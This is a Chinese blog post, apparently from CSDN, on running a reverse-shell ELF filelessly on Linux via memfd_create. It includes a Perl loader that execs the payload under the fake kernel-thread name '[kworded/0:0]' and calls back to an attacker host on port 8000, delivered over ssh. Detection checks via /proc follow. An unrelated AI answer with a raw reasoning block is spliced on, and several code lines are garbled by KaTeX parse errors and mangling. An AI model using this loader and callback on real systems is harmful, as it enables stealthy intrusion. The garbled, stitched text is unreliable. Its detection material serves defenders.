利用memfd_create实现无文件攻击

利用memfd_create实现Linux无文件攻击及检测

当下无文件(fileless)攻击已经越来越流行,由于其无文件执行比较隐蔽和难检测,广受攻击者的喜欢,该植入后门的过程不涉及新文件写入磁盘,也没有修改已有文件,因此可以绕过绝大部分安全软件。另外许多Linux系统会自带各种调试工具、解释程序、编译器和程序库,这些都可以帮助攻击者实现无文件技术隐蔽执行。然而,无文件执行也有一些缺点,就是重启后自动消失,因此需要考虑其他持久化的方式。本文介绍一种利用memfd_create实现无文件攻击的思路。

memfd_create 是 Linux 中的一个系统调用,用于创建一个内存文件描述符。这个文件描述符可以用于共享内存、匿名内存映射或其他与文件无关的 I/O 操作,首先看下Linux官方手册中关于memfd_create的解释

include <sys/mman.h>
int memfd_create(const char *name, unsigned int flags);

参数:
name:一个可选的名称,用于标识这个内存文件描述符。如果设置为 NULL,则使用默认名称。
flags:用于指定创建的内存文件描述符的特性。例如,可以使用 MFD_CLOEXEC 和 MFD_ALLOW_SEALING 等标志。
该函数在内核3.17版本中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改,截断,内存映射等等,但不同的是,它存在于RAM当中。在函数描述中有这样如下一段话

The name supplied in name is used as a filename and will be
displayed as the target of the corresponding symbolic link in the
directory /proc/self/fd/. The displayed name is always prefixed
with memfd: and serves only for debugging purposes. Names do not
affect the behavior of the file descriptor, and as such multiple
files can have the same name without any side effects.

大致意思是memfd_create函数中的文件名参数将会在/proc/self/fd/中作为目标指向以符号链接形式显示出来,显示的名称始终以memfd为前缀,并且仅用于调试目的。文件名不影响文件描述符的行为,同时多个文件可以有相同的文件名,不会产生副作用。

实现流程
上一节中我们了解了memfd_create函数的详情,下面就介绍下如何利用memfd_create进行无文件攻击,大致流程如下。

使用memfd_create函数创建一个在内存中的匿名文件。name参数给定一个自定义的名称,也可以为空。
处理返回值,memfd_create函数会返回一个新的文件描述符。如果返回-1,那就意味着出现了错误,你需要检查并处理error。另外可以打印下/proc/self/fd/中的的文件描述符。
映射内存,一旦获取一个文件描述符,使用mmap函数将其映射到进程的地址空间。即用Perl中的open()函数从获取的文件描述符创建文件句柄。
将ELF二进制数据写入匿名文件。
使用execve()执行ELF二进制文件,路径为文件描述符符号链接。
当你完成了对内存的读写操作后,你需要使用munmap函数解除映射,然后使用close函数关闭文件描述符。
memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,得到的文件描述符将会自动关闭。因此我们使用perl传递memfd_create的原始系统调用号和MEMFD_CLOEXEC的数字常量, 这两个都可以在/usr/include的头文件中找到。 系统调用号码存储在以_NR开头的#define中。

root@ubuntu:/usr/include# egrep -r ‘__NR_memfd_create|MFD_CLOEXEC’ *
在这里插入图片描述
这里我们已经获取到了memfd_create的系统调用码(在64位操作系统中为319)和MFD_CLOEXEC(0x0001U),这时候我们就可以使用perl的syscall函数来调用memfd_create。

fd = syscall(319, name,MFDCLOEXEC))也等价于fd=memfdcreate(name, MFD_CLOEXEC)) 也等价于 fd = memfd_create(name,MFDCLOEXEC))也等价于fd=memfdcreate(name, MFD_CLOEXEC)

现在我们有了文件描述符号存储在变量**$fd** 中。接下来将其用perl命令执行,如下命令显示在创建匿名文件后文件描述符。

root@ubuntu:~/memfd_shell# perl -e ‘n="";dien="";dien="";die!if-1==syscall(319,n,1);printls−l/proc/n,1);printls -l /proc/n,1);printlsl/proc/$/fd’

在这里插入图片描述
write
现在我们有了一个匿名文件描述符号,接下来需要写入恶意的ELF文件。首先,我们需要从文件描述符中获取一个Perl文件句柄,然后我们需要将我们的数据转换为可写的格式,最后将其写入内存。
Perl通常用于**open()**函数打开文件,如果要在新文件句柄上启用自动刷新,需要指定>&=和| autoflush选项。如下代码,将一个已打开的文件描述符(fd)转换为一个文件句柄(fd)转换为一个文件句柄(fd)转换为一个文件句柄(FH),并启用自动刷新。

open(my KaTeX parse error: Expected 'EOF', got '&' at position 7: FH, '>&̲='.fd) or die "open: !";select((select(!"; select((select(!";select((select(FH), $|=1)[0]);
接下来,我们需要用Perl处理ELF文件,如下代码,读取一个 ELF文件,并对其内容进行处理或提取,将文件中的字符串转换为可执行的Perl代码片段。

perl -e ‘$/=\32;print"print $FH pack q/H*/, q/“.(unpack"H*”)."/\ or die qq/write: $!/;\n"while(<>)’ ./memfd_nc
在这里插入图片描述
exec
接下来就是执行该文件,即调用exec函数执行该匿名文件,完整代码如下

#!/usr/bin/env perl
use warnings;
use strict;
$|=1;
my $name = “”;
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
die “memfd_create: $!”;
}
open(my KaTeX parse error: Expected 'EOF', got '&' at position 7: FH, '>&̲='.fd) or die "open: !";select((select(!"; select((select(!";select((select(FH), $|=1)[0]);
print “Writing ELF binary to memory…”;

#反弹shell代码
print $FH pack q/H*/, q/72726f722c6572726f7200676f2e697461622e2a636f6e746578742e63616e63/ or die qq/write: $!/;
print $FH pack q/H*/, q/656c4374782c636f6e746578742e63616e63656c657200676f2e697461622e2a/ or die qq/write: $!/;
print $FH pack q/H*/, q/636f6e746578742e63616e63656c4374782c636f6e746578742e436f6e746578/ or die qq/write: $!/;

exec {“/proc/$/fd//fd//fd/fd”} “[kworded/0:0]”, “-addr”, “攻击主机IP:8000” or die “exec: $!”;
然后在攻击主机上执行如下命令,即可在受害主机上写入无文件后门。

cat demoshell.pl | ssh kali@172.17.10.43 /bin/bash -c ‘perl’

如下攻击机器上的特征:在这里插入图片描述
在这里插入图片描述
受害机器机器上的特征:在这里插入图片描述
在这里插入图片描述
入侵检测特征
在对Linux系统进行应急时,一般会查看进程的上下文信息,在Linux中进程的信息都在/proc/目录下,我们先了解下/proc/目录下部分文件的含义,其他文件可以自行查询含义,在IR中用的比较少。

/proc/pid/exe 这是一个符号链接,指向进程的二进制文件。

/proc/pid/fd/ 进程打开的文件描述符的目录

/proc/pid/mem 进程在内存中的内容

/proc/pid/stat 进程的状态信息

/proc/pid/statm 进程的内存使用信息

/proc/pid/cmdline 显示启动进程时使用的命令行

/proc/pid/task 显示进程的各个线程的信息

/proc/pid/net: 与网络相关的信息

/proc/pid/map_files 与文件映射有关的信息

上一节写无文件的思路可以通过如下命令进行检测:

ls -alR /proc//exe 2> /dev/null | grep memfd:.(deleted)

该命令会遍历/proc目录中所有正在运行的进程,检查它们的路径是否指向memfd:(deleted)。该路径比较可疑,且在无文件攻击中很常见。

在这里插入图片描述
另外我们看下comm和cmdline命令不一样,comm通常是一个数字。

在这里插入图片描述
maps文件中也有"memfd:.*(deleted)" 字符

在这里插入图片描述
最后再说一个辅助排查的特征,进程环境变量,上述写无文件的方式中可以看到ssh连接。在这里插入图片描述

<think> 我们正在讨论Linux系统中的memfd_create系统调用。根据提供的引用内容,memfd_create()会创建一个匿名文件并返回指向该文件的文件描述符。这个文件保存在RAM中,当所有指向它的引用都被关闭时,它会自动释放。它的行为类似于使用mmap创建的MAP_ANONYMOUS匿名文件,但memfd_create创建的文件可以通过文件描述符进行操作,并且可以通过/proc/pid/fd/目录看到,尽管它没有实际的文件系统路径。 引用中提到了以下关键点: 1. 创建的文件是匿名的,存在于RAM中,当所有引用关闭时自动释放。 2. 可以通过unix域套接字传递文件描述符给其他进程,实现共享。 3. 在/proc/pid/maps和/proc/pid/fd中会有体现,但文件名是“memfd:”的形式,并且显示为已删除(因为实际没有路径)。 用户要求详细介绍和示例,因此我们需要包括: - 函数原型和参数说明 - 工作原理和特点 - 使用示例(C语言示例) 另外,根据引用[3],memfd_create返回的文件描述符可以用于execve,这意味着我们可以将匿名文件作为程序来执行(比如将可执行文件的内容写入这个匿名文件,然后执行它)。 因此,我们组织回答如下: 1. 介绍memfd_create的作用和原理。 2. 函数原型和参数说明。 3. 使用示例:创建一个匿名文件,写入数据,读取数据,并展示如何通过/proc查看。 4. 补充:如何传递文件描述符给其他进程(简要)以及执行memfd中的程序(简要)。 注意:由于用户要求使用中文,且回答需要结构清晰,我们按照步骤来写。 另外,由于引用中提到了共享和execve,我们也会简要涉及。 由于我们无法运行代码,示例代码仅作为演示,需要保证语法正确。 注意:memfd_create是Linux特有的系统调用,需要内核版本3.17及以上。 根据引用,我们给出示例代码框架,并加上必要注释。 同时,我们生成相关问题。 开始回答: </think> ### Linux 系统中 `memfd_create` 的匿名文件详解 #### 一、核心原理与特性 `memfd_create()` 是 Linux 系统的原生调用(内核 ≥ 3.17),用于创建**纯内存匿名文件**: 1. **匿名存储** - 文件内容仅存在于 RAM 中,无磁盘实体(`/proc/pid/fd/` 中显示为 `/memfd:<name> (deleted)`)[^4]。 - 所有文件操作(读写、截断、内存映射)均在内存完成,性能接近 `mmap(MAP_ANONYMOUS)`[^1]。 2. **自动生命周期** - 当所有关联的文件描述符关闭时,系统自动释放内存资源[^1]。 3. **跨进程共享** - 可通过 Unix Domain Socket 传递文件描述符,实现进程间共享内存[^2]。 #### 二、函数原型与参数 ```c #include <sys/mman.h> int memfd_create(const char *name, unsigned int flags); ``` - **`name`**:匿名文件的标识名(显示于 `/proc/pid/fd/`),可为任意字符串 - **`flags`**:控制选项(常用 `MFD_CLOEXEC`,确保 `exec` 时关闭描述符) #### 三、使用示例 **场景:** 创建匿名文件 → 写入数据 → 内存映射读取 ```c #include <sys/mman.h> #include <unistd.h> #include <string.h> int main() { // 创建匿名文件(名称为 "test") int fd = memfd_create("test", MFD_CLOEXEC); // 写入数据 const char *data = "Hello, MemFD!"; write(fd, data, strlen(data)); lseek(fd, 0, SEEK_SET); // 重置文件偏移量 // 内存映射读取 char *map = mmap(NULL, strlen(data), PROT_READ, MAP_PRIVATE, fd, 0); printf("Mapped content: %s\n", map); // 输出: Hello, MemFD! // 清理 munmap(map, strlen(data)); close(fd); // 关闭后内存自动释放 return 0; } ``` #### 四、高级应用场景 1. **安全内存共享** 通过 Unix Socket 传递文件描述符,替代传统共享内存(需同步机制)[^2]: ```c // 进程A:创建并传递fd sendmsg(socket_fd, &msg_control, 0); // 进程B:接收fd recvmsg(socket_fd, &msg_control, 0); ``` 2. **动态代码执行** 将可执行文件写入匿名文件后直接执行(避免磁盘暴露)[^3]: ```c write(fd, elf_data, elf_size); // 写入ELF二进制 fexecve(fd, argv, envp); // 执行内存中的程序 ``` 3. **敏感数据处理** 临时密钥等敏感信息可存于匿名文件,进程退出即销毁。 #### 五、诊断与监控 - **查看文件描述符**: `ls -l /proc/<pid>/fd/` → 显示 `/memfd:test (deleted)` - **检查内存映射**: `cat /proc/<pid>/maps` → 含 `memfd` 的匿名映射区域[^4] > **注意**:匿名文件内容 **不交换到磁盘**(除非使用 `MFD_ALLOW_SEALING` 并主动添加 `F_SEAL_SWAP` 封禁)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值